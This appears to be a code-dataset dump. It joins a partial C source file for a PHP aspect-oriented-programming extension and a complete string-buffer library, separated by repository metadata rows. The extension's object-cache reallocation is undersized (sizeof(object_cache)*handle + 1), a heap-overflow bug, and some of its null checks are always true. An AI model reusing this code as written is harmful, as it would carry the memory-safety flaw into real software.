{ return 1; } } ce = ce->parent; while (ce != NULL) { matches = pcre_exec(pc->re_class, NULL, ZSTR_VAL(ce->name), ZSTR_LEN(ce->name), 0, 0, NULL, 0); if (matches >= 0) { return 1; } ce = ce->parent; } return 0; } /*}}}*/ static zend_array *calculate_class_pointcuts(zend_class_entry *ce, int kind_of_advice) /*{{{*/ { pointcut *pc; zend_array *ht; zval *pc_value; ALLOC_HASHTABLE(ht); zend_hash_init(ht, 16, NULL, NULL , 0); ZEND_HASH_FOREACH_VAL(AOP_G(pointcuts_table), pc_value) { pc = (pointcut *)Z_PTR_P(pc_value); if (!(pc->kind_of_advice & kind_of_advice)) { continue; } if ((ce == NULL && pc->kind_of_advice & AOP_KIND_FUNCTION) || (ce != NULL && pointcut_match_zend_class_entry(pc, ce))) { zend_hash_next_index_insert(ht, pc_value); } } ZEND_HASH_FOREACH_END(); return ht; } /*}}}*/ static int pointcut_match_zend_function(pointcut *pc, zend_execute_data *ex) /*{{{*/ { int comp_start = 0; zend_function *curr_func = ex->func; //check static if (pc->static_state != 2) { if (pc->static_state) { if (!(curr_func->common.fn_flags & ZEND_ACC_STATIC)) { return 0; } } else { if ((curr_func->common.fn_flags & ZEND_ACC_STATIC)) { return 0; } } } //check public/protect/private if (pc->scope != 0 && !(pc->scope & (curr_func->common.fn_flags & ZEND_ACC_PPP_MASK))) { return 0; } if (pc->class_name == NULL && ZSTR_VAL(pc->method)[0] == '*' && ZSTR_VAL(pc->method)[1] == '\0') { return 1; } if (pc->class_name == NULL && curr_func->common.scope != NULL) { return 0; } if (pc->method_jok) { int matches = pcre_exec(pc->re_method, NULL, ZSTR_VAL(curr_func->common.function_name), ZSTR_LEN(curr_func->common.function_name), 0, 0, NULL, 0); if (matches < 0) { return 0; } } else { if (ZSTR_VAL(pc->method)[0] == '\\') { comp_start = 1; } if (strcasecmp(ZSTR_VAL(pc->method) + comp_start, ZSTR_VAL(curr_func->common.function_name))) { return 0; } } return 1; } /*}}}*/ static zend_array *calculate_function_pointcuts(zend_execute_data *ex) /*{{{*/ { zend_object *object = NULL; zend_class_entry *ce = NULL; zend_array *class_pointcuts; zval *pc_value; pointcut *pc; zend_ulong h; #if PHP_MINOR_VERSION < 1 object = Z_OBJ(ex->This); #else if (Z_TYPE(ex->This) == IS_OBJECT) { object = Z_OBJ(ex->This); } #endif if (object != NULL) { ce = Z_OBJCE(ex->This); } if (ce == NULL && ex->func->common.fn_flags & ZEND_ACC_STATIC) { ce = ex->func->common.scope;//ex->called_scope; } class_pointcuts = calculate_class_pointcuts(ce, AOP_KIND_FUNCTION | AOP_KIND_METHOD); ZEND_HASH_FOREACH_NUM_KEY_VAL(class_pointcuts, h, pc_value) { pc = (pointcut *)Z_PTR_P(pc_value); if (pointcut_match_zend_function(pc, ex)) { continue; } //delete unmatch element zend_hash_index_del(class_pointcuts, h); } ZEND_HASH_FOREACH_END(); return class_pointcuts; } /*}}}*/ static int test_property_scope(pointcut *current_pc, zend_class_entry *ce, zend_string *member_str) /*{{{*/ { zval *property_info_val; zend_property_info *property_info = NULL; property_info_val = zend_hash_find(&ce->properties_info, member_str); if (property_info_val) { property_info = (zend_property_info *)Z_PTR_P(property_info_val); if (current_pc->static_state != 2) { if (current_pc->static_state) { if (!(property_info->flags & ZEND_ACC_STATIC)) { return 0; } } else { if ((property_info->flags & ZEND_ACC_STATIC)) { return 0; } } } if (current_pc->scope != 0 && !(current_pc->scope & (property_info->flags & ZEND_ACC_PPP_MASK))) { return 0; } } else { if (current_pc->scope != 0 && !(current_pc->scope & ZEND_ACC_PUBLIC)) { return 0; } if (current_pc->static_state == 1) { return 0; } } return 1; } /*}}}*/ static zend_array *calculate_property_pointcuts(zval *object, zend_string *member_str, int kind) /*{{{*/ { zend_array *class_pointcuts; zval *pc_value; pointcut *pc; zend_ulong h; class_pointcuts = calculate_class_pointcuts(Z_OBJCE_P(object), kind); ZEND_HASH_FOREACH_NUM_KEY_VAL(class_pointcuts, h, pc_value) { pc = (pointcut *)Z_PTR_P(pc_value); if (ZSTR_VAL(pc->method)[0] != '*') { if (!strcmp_with_joker_case(ZSTR_VAL(pc->method), ZSTR_VAL(member_str), 1)) { zend_hash_index_del(class_pointcuts, h); continue; } } //Scope if (pc->static_state != 2 || pc->scope != 0) { if (!test_property_scope(pc, Z_OBJCE_P(object), member_str)) { zend_hash_index_del(class_pointcuts, h); continue; } } } ZEND_HASH_FOREACH_END(); return class_pointcuts; } /*}}}*/ object_cache *get_object_cache (zend_object *object) /*{{{*/ { int i; uint32_t handle; handle = object->handle; if (handle >= AOP_G(object_cache_size)) { AOP_G(object_cache) = erealloc(AOP_G(object_cache), sizeof(object_cache)*handle + 1); for (i = AOP_G(object_cache_size); i <= handle; i++) { AOP_G(object_cache)[i] = NULL; } AOP_G(object_cache_size) = handle+1; } if (AOP_G(object_cache)[handle] == NULL) { AOP_G(object_cache)[handle] = emalloc(sizeof(object_cache)); AOP_G(object_cache)[handle]->write = NULL; AOP_G(object_cache)[handle]->read = NULL; AOP_G(object_cache)[handle]->func = NULL; } return AOP_G(object_cache)[handle]; } /*}}}*/ /*{{{ get_object_cache_func/read/write*/ zend_array *get_object_cache_func(zend_object *object) { object_cache *cache; cache = get_object_cache(object); if (cache->func == NULL) { ALLOC_HASHTABLE(cache->func); zend_hash_init(cache->func, 16, NULL, free_pointcut_cache , 0); } return cache->func; } zend_array *get_object_cache_read(zend_object *object) { object_cache *cache; cache = get_object_cache(object); if (cache->read == NULL) { ALLOC_HASHTABLE(cache->read); zend_hash_init(cache->read, 16, NULL, free_pointcut_cache, 0); } return cache->read; } zend_array *get_object_cache_write(zend_object *object) { object_cache *cache; cache = get_object_cache(object); if (cache->write == NULL) { ALLOC_HASHTABLE(cache->write); zend_hash_init(cache->write, 16, NULL, free_pointcut_cache , 0); } return cache->write; } /*}}}*/ static zend_array *get_cache_func(zend_execute_data *ex) /*{{{*/ { zend_array *pointcut_table = NULL; zend_array *ht_object_cache = NULL; zend_object *object = NULL; zend_class_entry *ce; zend_string *cache_key; zval *cache = NULL; zval pointcut_cache_value; pointcut_cache *_pointcut_cache = NULL; #if PHP_MINOR_VERSION < 1 object = Z_OBJ(ex->This); #else if (Z_TYPE(ex->This) == IS_OBJECT) { object = Z_OBJ(ex->This); } #endif //1.search cache if (object == NULL) { //function or static method ht_object_cache = AOP_G(function_cache); if (ex->func->common.fn_flags & ZEND_ACC_STATIC) { ce = ex->func->common.scope;//ex->called_scope; cache_key = zend_string_init("", ZSTR_LEN(ex->func->common.function_name) + ZSTR_LEN(ce->name) + 2, 0); sprintf((char *)ZSTR_VAL(cache_key), "%s::%s", ZSTR_VAL(ce->name), ZSTR_VAL(ex->func->common.function_name)); } else { cache_key = zend_string_copy(ex->func->common.function_name); } } else { //method ce = ex->func->common.scope;//ex->called_scope; cache_key = zend_string_copy(ex->func->common.function_name); ht_object_cache = get_object_cache_func(object); } cache = zend_hash_find(ht_object_cache, cache_key); if (cache != NULL) { _pointcut_cache = (pointcut_cache *)Z_PTR_P(cache); if (_pointcut_cache->version != AOP_G(pointcut_version) || (object != NULL && _pointcut_cache->ce != ce)) { //cache lost _pointcut_cache = NULL; zend_hash_del(ht_object_cache, cache_key); } } //2.calculate function hit pointcut if (_pointcut_cache == NULL) { _pointcut_cache = (pointcut_cache *)emalloc(sizeof(pointcut_cache)); _pointcut_cache->ht = calculate_function_pointcuts(ex); _pointcut_cache->version = AOP_G(pointcut_version); if (object == NULL) { _pointcut_cache->ce = NULL; } else { _pointcut_cache->ce = ce; } ZVAL_PTR(&pointcut_cache_value, _pointcut_cache); zend_hash_add(ht_object_cache, cache_key, &pointcut_cache_value); } zend_string_release(cache_key); return _pointcut_cache->ht; } /*}}}*/ static zend_array *get_cache_property(zval *object, zval *member, int type) /*{{{*/ { zend_array *ht_object_cache = NULL; zval *cache = NULL; pointcut_cache *_pointcut_cache = NULL; zval pointcut_cache_value; zend_string *member_str = NULL; if (type & AOP_KIND_READ) { ht_object_cache = get_object_cache_read(Z_OBJ_P(object)); } else { ht_object_cache = get_object_cache_write(Z_OBJ_P(object)); } if (Z_TYPE_P(member) != IS_STRING ) { member_str = zval_get_string(member); } else { member_str = Z_STR_P(member); } cache = zend_hash_find(ht_object_cache, member_str); if (cache != NULL) { _pointcut_cache = (pointcut_cache *)Z_PTR_P(cache); if (_pointcut_cache->version != AOP_G(pointcut_version) || _pointcut_cache->ce != Z_OBJCE_P(object)) { //cache lost _pointcut_cache = NULL; zend_hash_del(ht_object_cache, member_str); } } if (_pointcut_cache == NULL) { _pointcut_cache = (pointcut_cache *)emalloc(sizeof(pointcut_cache)); _pointcut_cache->ht = calculate_property_pointcuts(object, member_str, type); _pointcut_cache->version = AOP_G(pointcut_version); _pointcut_cache->ce = Z_OBJCE_P(object); ZVAL_PTR(&pointcut_cache_value, _pointcut_cache); zend_hash_add(ht_object_cache, member_str, &pointcut_cache_value); } if (member_str != Z_STR_P(member)) { zend_string_release(member_str); } return _pointcut_cache->ht; } /*}}}*/ static void execute_pointcut(pointcut *pc, zval *arg, zval *retval) /*{{{*/ { zval params[1]; ZVAL_COPY_VALUE(&params[0], arg); pc->fci.retval = retval; pc->fci.param_count = 1; pc->fci.params = params; if (zend_call_function(&pc->fci, &pc->fci_cache) == FAILURE) { zend_error(E_ERROR, "Problem in AOP Callback"); } } /*}}}*/ static void execute_context(zend_execute_data *execute_data, zval *args) /*{{{*/ { zend_class_entry *current_scope = NULL; if (EG(exception)) { return ; } //overload arguments if (args != NULL) { uint32_t i, first_extra_arg, call_num_args; zval *original_args_value; zval *overload_args_value; zend_op_array *op_array = &EX(func)->op_array; first_extra_arg = op_array->num_args; call_num_args = zend_hash_num_elements(Z_ARR_P(args));//ZEND_CALL_NUM_ARGS(execute_data); if (call_num_args <= first_extra_arg) { for (i = 0; i < call_num_args; i++){ original_args_value = ZEND_CALL_VAR_NUM(execute_data, i); overload_args_value = zend_hash_index_find(Z_ARR_P(args), (zend_ulong)i); zval_ptr_dtor(original_args_value); ZVAL_COPY(original_args_value, overload_args_value); } } else { //1) overload common params for (i = 0; i < first_extra_arg; i++){ original_args_value = ZEND_CALL_VAR_NUM(execute_data, i); overload_args_value = zend_hash_index_find(Z_ARR_P(args), (zend_ulong)i); zval_ptr_dtor(original_args_value); ZVAL_COPY(original_args_value, overload_args_value); } //2) overload extra params if (op_array->fn_flags & ZEND_ACC_VARIADIC) { for (i = 0; i < call_num_args - first_extra_arg; i++) { original_args_value = ZEND_CALL_VAR_NUM(execute_data, op_array->last_var + op_array->T + i); overload_args_value = zend_hash_index_find(Z_ARR_P(args), (zend_ulong)(i + first_extra_arg)); zval_ptr_dtor(original_args_value); ZVAL_COPY(original_args_value, overload_args_value); } } } ZEND_CALL_NUM_ARGS(execute_data) = call_num_args; } EG(current_execute_data) = execute_data; if (execute_data->func->common.type == ZEND_USER_FUNCTION) { original_zend_execute_ex(execute_data); } else if (execute_data->func->common.type == ZEND_INTERNAL_FUNCTION) { //zval return_value; if (original_zend_execute_internal) { original_zend_execute_internal(execute_data, execute_data->return_value); }else{ execute_internal(execute_data, execute_data->return_value); } } else { /* ZEND_OVERLOADED_FUNCTION */ //this will never happend,becase there's no hook for overload function #if PHP_MINOR_VERSION == 1 zend_do_fcall_overloaded(execute_data->func, execute_data, execute_data->return_value); #elif PHP_MINOR_VERSION == 2 zend_do_fcall_overloaded(execute_data, execute_data->return_value); #endif } } /*}}}*/ void do_func_execute(HashPosition pos, zend_array *pointcut_table, zend_execute_data *ex, zval *aop_object) /*{{{*/ { pointcut *current_pc = NULL; zval *current_pc_value = NULL; zval pointcut_ret; zend_object *exception = NULL; zend_class_entry *current_scope = NULL; AopJoinpoint_object *joinpoint = (AopJoinpoint_object *)Z_OBJ_P(aop_object); while(1){ current_pc_value = zend_hash_get_current_data_ex(pointcut_table, &pos); if (current_pc_value == NULL || Z_TYPE_P(current_pc_value) != IS_UNDEF) { break; } else { zend_hash_move_forward_ex(pointcut_table, &pos); } } if (current_pc_value == NULL) { #if PHP_MINOR_VERSION < 1 if (EG(scope) != ex->called_scope) { current_scope = EG(scope); EG(scope) = ex->called_scope; } #endif AOP_G(overloaded) = 0; execute_context(ex, joinpoint->args); AOP_G(overloaded) = 1; joinpoint->is_ex_executed = 1; #if PHP_MINOR_VERSION < 1 if (current_scope != NULL) { EG(scope) = current_scope; } #endif return; } zend_hash_move_forward_ex(pointcut_table, &pos); current_pc = (pointcut *)Z_PTR_P(current_pc_value); joinpoint->current_pointcut = current_pc; joinpoint->pos = pos; joinpoint->kind_of_advice = current_pc->kind_of_advice; if (current_pc->kind_of_advice & AOP_KIND_BEFORE) { if (!EG(exception)) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL) { zval_ptr_dtor(&pointcut_ret); } } } if (current_pc->kind_of_advice & AOP_KIND_AROUND) { if (!EG(exception)) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL && !Z_ISNULL(pointcut_ret)) { if (ex->return_value != NULL) { zval_ptr_dtor(ex->return_value); ZVAL_COPY_VALUE(ex->return_value, &pointcut_ret); } else { zval_ptr_dtor(&pointcut_ret); } } else if (joinpoint->return_value != NULL) { if (ex->return_value != NULL) { zval_ptr_dtor(ex->return_value); ZVAL_COPY(ex->return_value, joinpoint->return_value); } } } } else { do_func_execute(pos, pointcut_table, ex, aop_object); } //AOP_KIND_AFTER if (current_pc->kind_of_advice & AOP_KIND_AFTER) { if (current_pc->kind_of_advice & AOP_KIND_CATCH && EG(exception)) { exception = EG(exception); joinpoint->exception = exception; EG(exception) = NULL; execute_pointcut(current_pc, aop_object, &pointcut_ret); EG(exception) = exception; if (&pointcut_ret != NULL && !Z_ISNULL(pointcut_ret)) { if (ex->return_value != NULL) { zval_ptr_dtor(ex->return_value); ZVAL_COPY_VALUE(ex->return_value, &pointcut_ret); } else { zval_ptr_dtor(&pointcut_ret); } } else if (joinpoint->return_value != NULL) { if (ex->return_value != NULL) { zval_ptr_dtor(ex->return_value); ZVAL_COPY(ex->return_value, joinpoint->return_value); } } } else if (current_pc->kind_of_advice & AOP_KIND_RETURN && !EG(exception)) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL && !Z_ISNULL(pointcut_ret)) { if (ex->return_value != NULL) { zval_ptr_dtor(ex->return_value); ZVAL_COPY_VALUE(ex->return_value, &pointcut_ret); } else { zval_ptr_dtor(&pointcut_ret); } } else if (joinpoint->return_value != NULL) { if (ex->return_value != NULL) { zval_ptr_dtor(ex->return_value); ZVAL_COPY(ex->return_value, joinpoint->return_value); } } } } } /*}}}*/ void func_pointcut_and_execute(zend_execute_data *ex) /*{{{*/ { zval aop_object; AopJoinpoint_object *joinpoint; zend_array *pointcut_table = NULL; HashPosition pos; zval *real_return_value; //find pointcut of current call function pointcut_table = get_cache_func (ex); if (pointcut_table == NULL || zend_hash_num_elements(pointcut_table) == 0) { AOP_G(overloaded) = 0; execute_context(ex, NULL); AOP_G(overloaded) = 1; return; } zend_hash_internal_pointer_reset_ex(pointcut_table, &pos); object_init_ex(&aop_object, aop_joinpoint_ce); joinpoint = (AopJoinpoint_object *)(Z_OBJ(aop_object)); joinpoint->ex = ex; joinpoint->is_ex_executed = 0; joinpoint->advice = pointcut_table; joinpoint->exception = NULL; joinpoint->args = NULL; joinpoint->return_value = NULL; ZVAL_UNDEF(&joinpoint->property_value); if (EG(current_execute_data) == ex){ //dely to execute call function, execute pointcut first EG(current_execute_data) = ex->prev_execute_data; } int no_ret = 0; if (ex->return_value == NULL) { no_ret = 1; ex->return_value = emalloc(sizeof(zval)); ZVAL_UNDEF(ex->return_value); } do_func_execute(pos, pointcut_table, ex, &aop_object); if (no_ret == 1){ zval_ptr_dtor(ex->return_value); efree(ex->return_value); } else { if (joinpoint->return_value_changed && Z_ISREF_P(ex->return_value)) { real_return_value = Z_REFVAL_P(ex->return_value); Z_TRY_ADDREF_P(real_return_value); zval_ptr_dtor(ex->return_value); ZVAL_COPY_VALUE(ex->return_value, real_return_value); } } if (joinpoint->is_ex_executed == 0) { uint32_t i, num_args = 0; zval *original_args_value; for (i = 0; i < ex->func->common.num_args; i++) { original_args_value = ZEND_CALL_VAR_NUM(ex, i); zval_ptr_dtor(original_args_value); } } zval_ptr_dtor(&aop_object); return; } /*}}}*/ //execute_ex overload ZEND_API void aop_execute_ex(zend_execute_data *ex) /*{{{*/ { zend_function *fbc = NULL; HashPosition pos = 0; fbc = ex->func; if (!AOP_G(aop_enable) || fbc == NULL || AOP_G(overloaded) || EG(exception) || fbc->common.function_name == NULL || fbc->common.type == ZEND_EVAL_CODE || fbc->common.fn_flags & ZEND_ACC_CLOSURE) { return original_zend_execute_ex(ex); } AOP_G(overloaded) = 1; func_pointcut_and_execute(ex); AOP_G(overloaded) = 0; } /*}}}*/ ZEND_API void aop_execute_internal(zend_execute_data *ex, zval *return_value) /*{{{*/ { zend_function *fbc = NULL; HashPosition pos = 0; fbc = ex->func; if (!AOP_G(aop_enable) || fbc == NULL || AOP_G(overloaded) || EG(exception) || fbc->common.function_name == NULL) { if (original_zend_execute_internal) { return original_zend_execute_internal(ex, return_value); }else{ return execute_internal(ex, return_value); } } ex->return_value = return_value; AOP_G(overloaded) = 1; func_pointcut_and_execute(ex); AOP_G(overloaded) = 0; } /*}}}*/ void do_read_property(HashPosition pos, zend_array *pointcut_table, zval *aop_object) /*{{{*/ { pointcut *current_pc = NULL; zval *current_pc_value = NULL; zval pointcut_ret; AopJoinpoint_object *joinpoint = (AopJoinpoint_object *)Z_OBJ_P(aop_object); zval *property_value; zend_class_entry *current_scope = NULL; while(1){ current_pc_value = zend_hash_get_current_data_ex(pointcut_table, &pos); if (current_pc_value == NULL || Z_TYPE_P(current_pc_value) != IS_UNDEF) { break; } else { zend_hash_move_forward_ex(pointcut_table, &pos); } } if (current_pc_value == NULL) { #if PHP_MINOR_VERSION < 1 if (EG(scope) != joinpoint->ex->called_scope) { current_scope = EG(scope); EG(scope) = joinpoint->ex->called_scope; } #else if (EG(fake_scope) != joinpoint->ex->func->common.scope) { current_scope = EG(fake_scope); EG(fake_scope) = joinpoint->ex->func->common.scope; } #endif property_value = original_zend_std_read_property(joinpoint->object, joinpoint->member, joinpoint->type, joinpoint->cache_slot, joinpoint->rv); ZVAL_COPY_VALUE(AOP_G(property_value), property_value); if (current_scope != NULL) { #if PHP_MINOR_VERSION < 1 EG(scope) = current_scope; #else EG(fake_scope) = current_scope; #endif } return; } zend_hash_move_forward_ex(pointcut_table, &pos); current_pc = (pointcut *)Z_PTR_P(current_pc_value); joinpoint->current_pointcut = current_pc; joinpoint->pos = pos; joinpoint->kind_of_advice = (current_pc->kind_of_advice&AOP_KIND_WRITE) ? (current_pc->kind_of_advice - AOP_KIND_WRITE) : current_pc->kind_of_advice; if (current_pc->kind_of_advice & AOP_KIND_BEFORE) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL) { zval_ptr_dtor(&pointcut_ret); } } if (current_pc->kind_of_advice & AOP_KIND_AROUND) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL && !Z_ISNULL(pointcut_ret)) { ZVAL_COPY_VALUE(AOP_G(property_value), &pointcut_ret); } else if (joinpoint->return_value != NULL) { ZVAL_COPY(AOP_G(property_value), joinpoint->return_value); } } else { do_read_property(pos, pointcut_table, aop_object); } if (current_pc->kind_of_advice & AOP_KIND_AFTER) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL && !Z_ISNULL(pointcut_ret)) { ZVAL_COPY_VALUE(AOP_G(property_value), &pointcut_ret); } else if (joinpoint->return_value != NULL) { ZVAL_COPY(AOP_G(property_value), joinpoint->return_value); } } } /*}}}*/ zval *aop_read_property(zval *object, zval *member, int type, void **cache_slot, zval *rv) /*{{{*/ { zval aop_object; AopJoinpoint_object *joinpoint; zend_array *pointcut_table = NULL; HashPosition pos; if (AOP_G(lock_read_property) > 25) { zend_error(E_ERROR, "Too many level of nested advices. Are there any recursive call ?"); } pointcut_table = get_cache_property(object, member, AOP_KIND_READ); if (pointcut_table == NULL || zend_hash_num_elements(pointcut_table) == 0) { return original_zend_std_read_property(object,member,type,cache_slot,rv); } zend_hash_internal_pointer_reset_ex(pointcut_table, &pos); object_init_ex(&aop_object, aop_joinpoint_ce); joinpoint = (AopJoinpoint_object *)(Z_OBJ(aop_object)); joinpoint->advice = pointcut_table; joinpoint->ex = EG(current_execute_data); joinpoint->args = NULL; joinpoint->return_value = NULL; joinpoint->object = object; joinpoint->member = member; joinpoint->type = type; //To avoid use runtime cache joinpoint->cache_slot = NULL;//cache_slot; joinpoint->rv = rv; ZVAL_UNDEF(&joinpoint->property_value); if (AOP_G(property_value) == NULL) { AOP_G(property_value) = emalloc(sizeof(zval)); } ZVAL_NULL(AOP_G(property_value)); AOP_G(lock_read_property)++; do_read_property(0, pointcut_table, &aop_object); AOP_G(lock_read_property)--; zval_ptr_dtor(&aop_object); return AOP_G(property_value); } /*}}}*/ void do_write_property(HashPosition pos, zend_array *pointcut_table, zval *aop_object) /*{{{*/ { pointcut *current_pc = NULL; zval *current_pc_value = NULL; zval pointcut_ret; AopJoinpoint_object *joinpoint = (AopJoinpoint_object *)Z_OBJ_P(aop_object); zval *property_value; zend_class_entry *current_scope = NULL; while(1){ current_pc_value = zend_hash_get_current_data_ex(pointcut_table, &pos); if (current_pc_value == NULL || Z_TYPE_P(current_pc_value) != IS_UNDEF) { break; } else { zend_hash_move_forward_ex(pointcut_table, &pos); } } if (current_pc_value == NULL) { #if PHP_MINOR_VERSION < 1 if (EG(scope) != joinpoint->ex->called_scope) { current_scope = EG(scope); EG(scope) = joinpoint->ex->called_scope; } #else if (EG(fake_scope) != joinpoint->ex->func->common.scope) { current_scope = EG(fake_scope); EG(fake_scope) = joinpoint->ex->func->common.scope; } #endif original_zend_std_write_property(joinpoint->object, joinpoint->member, &joinpoint->property_value, joinpoint->cache_slot); if (current_scope != NULL) { #if PHP_MINOR_VERSION < 1 EG(scope) = current_scope; #else EG(fake_scope) = current_scope; #endif } return; } zend_hash_move_forward_ex(pointcut_table, &pos); current_pc = (pointcut *)Z_PTR_P(current_pc_value); joinpoint->current_pointcut = current_pc; joinpoint->pos = pos; joinpoint->kind_of_advice = (current_pc->kind_of_advice&AOP_KIND_READ) ? (current_pc->kind_of_advice - AOP_KIND_READ) : current_pc->kind_of_advice; if (current_pc->kind_of_advice & AOP_KIND_BEFORE) { execute_pointcut(current_pc, aop_object, &pointcut_ret); if (&pointcut_ret != NULL) { zval_ptr_dtor(&pointcut_ret); } } if (current_pc->kind_of_advice & AOP_KIND_AROUND) { execute_pointcut(current_pc, aop_object, &pointcut_ret); } else { do_write_property(pos, pointcut_table, aop_object); } if (current_pc->kind_of_advice & AOP_KIND_AFTER) { execute_pointcut(current_pc, aop_object, &pointcut_ret); } } /*}}}*/ void aop_write_property(zval *object, zval *member, zval *value, void **cache_slot) /*{{{*/ { zval aop_object; AopJoinpoint_object *joinpoint; zend_array *pointcut_table = NULL; HashPosition pos; if (AOP_G(lock_write_property) > 25) { zend_error(E_ERROR, "Too many level of nested advices. Are there any recursive call ?"); } pointcut_table = get_cache_property(object, member, AOP_KIND_WRITE); if (pointcut_table == NULL || zend_hash_num_elements(pointcut_table) == 0) { original_zend_std_write_property(object, member, value, cache_slot); return ; } zend_hash_internal_pointer_reset_ex(pointcut_table, &pos); object_init_ex(&aop_object, aop_joinpoint_ce); joinpoint = (AopJoinpoint_object *)(Z_OBJ(aop_object)); joinpoint->advice = pointcut_table; joinpoint->ex = EG(current_execute_data); joinpoint->args = NULL; joinpoint->return_value = NULL; joinpoint->object = object; joinpoint->member = member; //To avoid use runtime cache joinpoint->cache_slot = NULL;//cache_slot; ZVAL_COPY(&joinpoint->property_value, value); AOP_G(lock_write_property)++; do_write_property(0, pointcut_table, &aop_object); AOP_G(lock_write_property)--; zval_ptr_dtor(&aop_object); } /*}}}*/ zval *aop_get_property_ptr_ptr(zval *object, zval *member, int type, void **cache_slot) { zend_execute_data *ex = EG(current_execute_data); if (ex->opline == NULL || (ex->opline->opcode != ZEND_PRE_INC_OBJ && ex->opline->opcode != ZEND_POST_INC_OBJ && ex->opline->opcode != ZEND_PRE_DEC_OBJ && ex->opline->opcode != ZEND_POST_DEC_OBJ)) { return original_zend_std_get_property_ptr_ptr(object, member, type, cache_slot); } else { // Call original to not have a notice original_zend_std_get_property_ptr_ptr(object, member, type, cache_slot); return NULL; } }
33.386
201
0.605853
2fce61dbeef378aaccac265b95b497fb2a7d4a2a
3,782
c
C
src/strbuf.c
ujr/myclib
bf702a07c1362631664051c86c9b644913f1293d
[ "MIT" ]
3
2021-05-21T15:26:25.000Z
2021-12-09T04:52:05.000Z
src/strbuf.c
ujr/swtools
84ce0ec4e523a3a688e92423c7536ddfa3e2b37e
[ "Unlicense" ]
1
2021-11-20T21:49:11.000Z
2021-11-20T21:49:11.000Z
src/strbuf.c
ujr/myclib
bf702a07c1362631664051c86c9b644913f1293d
[ "MIT" ]
null
null
null
/* strbuf.c - growable char buffer */ #include <assert.h> /* assert() */ #include <stdarg.h> /* va_list etc. */ #include <stddef.h> /* size_t */ #include <stdio.h> /* vsnprintf() */ #include <stdlib.h> /* malloc(), realloc(), free() */ #include <string.h> /* memcpy(), strlen() */ #include "strbuf.h" #define GROWFUNC(x) (((x)+16)*3/2) /* lifted from Git */ #define MAX(x,y) ((x) > (y) ? (x) : (y)) #define LEN(sp) ((sp)->len) #define SIZE(sp) ((sp)->size & ~1) /* mask off lsb */ #define HASROOM(sp,n) (LEN(sp)+(n)+1 <= SIZE(sp)) /* +1 for \0 */ #define NEXTSIZE(sp) GROWFUNC(SIZE(sp)) /* next default size */ #define SETFAILED(sp) ((sp)->size |= 1) /* set lsb to flag */ static void (*nomem)(void) = 0; void /* register error handler */ strbuf_nomem(void (*handler)(void)) { nomem = handler; } void strbuf_init(strbuf *sp) { assert(sp != 0); sp->buf = 0; sp->len = 0; sp->size = 0; } int /* append the string buffer sq */ strbuf_add(strbuf *sp, strbuf *sq) { assert(sq != 0); return strbuf_addb(sp, sq->buf, sq->len); } int /* append the single character c */ strbuf_addc(strbuf *sp, int c) { assert(sp != 0); if (!sp->buf || !HASROOM(sp, 1)) { if (!strbuf_ready(sp, 1)) return 0; /* nomem */ } sp->buf[sp->len++] = (unsigned char) c; sp->buf[sp->len] = '\0'; return 1; } int /* append the \0 terminated string z */ strbuf_addz(strbuf *sp, const char *z) { return strbuf_addb(sp, z, z ? strlen(z) : 0); } int /* append buf[0..len-1] to sp */ strbuf_addb(strbuf *sp, const char *buf, size_t len) { assert(sp != 0); if (!buf) len = 0; if (!strbuf_ready(sp, len)) return 0; /* nomem */ if (buf) memcpy(sp->buf + sp->len, buf, len); sp->len += len; sp->buf[sp->len] = '\0'; return 1; } int /* append formatted string to sp (variadic) */ strbuf_addf(strbuf *sp, const char *fmt, ...) { va_list ap; va_start(ap, fmt); int r = strbuf_addfv(sp, fmt, ap); va_end(ap); return r; } int /* append formatted string to sp (va_list) */ strbuf_addfv(strbuf *sp, const char *fmt, va_list ap) { va_list aq; int chars; /* Make a copy of ap because we may traverse the list twice (if we need to grow the buffer); also notice that va_copy() requires a matching va_end(), and that the size argument to vsnprintf() includes the terminating \0, whereas its return value does not. */ va_copy(aq, ap); /* C99 */ chars = vsnprintf(sp->buf + sp->len, 0, fmt, aq); va_end(aq); if (chars < 0) return 0; if (!strbuf_ready(sp, chars)) return 0; /* nomem */ chars = vsnprintf(sp->buf + sp->len, chars+1, fmt, ap); if (chars < 0) return 0; sp->len += chars; return 1; } void /* truncate string to exactly n <= len chars */ strbuf_trunc(strbuf *sp, size_t n) { assert(sp != 0); if (!sp->buf) return; /* not allocated */ assert(n <= sp->len); /* cannot enlarge */ sp->len = n; sp->buf[n] = '\0'; } int /* ensure enough space for dlen more characters */ strbuf_ready(strbuf *sp, size_t dlen) { assert(sp != 0); /* nothing to do if allocated and enough room: */ if (sp->buf && HASROOM(sp, dlen)) return 1; size_t requested = sp->len + dlen + 1; /* +1 for \0 */ size_t standard = GROWFUNC(SIZE(sp)); size_t newsize = MAX(requested, standard); newsize = (newsize+1)&~1; /* round up to even */ char *ptr = realloc(sp->buf, newsize); if (!ptr) goto nomem; memset(ptr + sp->len, 0, newsize - sp->len); sp->buf = ptr; sp->size = newsize; return 1; nomem: SETFAILED(sp); if (nomem) nomem(); else { perror("strbuf"); abort(); } return 0; } void /* release memory, set to unallocated */ strbuf_free(strbuf *sp) { assert(sp != 0); if (sp->buf) { free(sp->buf); sp->buf = 0; } sp->len = sp->size = 0; }
23.6375
71
0.59175
2fcfdcb9c5bf0040535d2fb9a75b1ebfef8b11e0
6,327
h
C
cpp_utils/cpp_utils/enumerate.h
TwIStOy/twistoy_toys
d8478921e299f7c5f9f2bf588b01ac6b1eaf720e
[ "MIT" ]
1
2015-02-06T10:43:13.000Z
2015-02-06T10:43:13.000Z
cpp_utils/cpp_utils/enumerate.h
TwIStOy/twistoy_toys
d8478921e299f7c5f9f2bf588b01ac6b1eaf720e
[ "MIT" ]
null
null
null
cpp_utils/cpp_utils/enumerate.h
TwIStOy/twistoy_toys
d8478921e299f7c5f9f2bf588b01ac6b1eaf720e
[ "MIT" ]
null
null
null
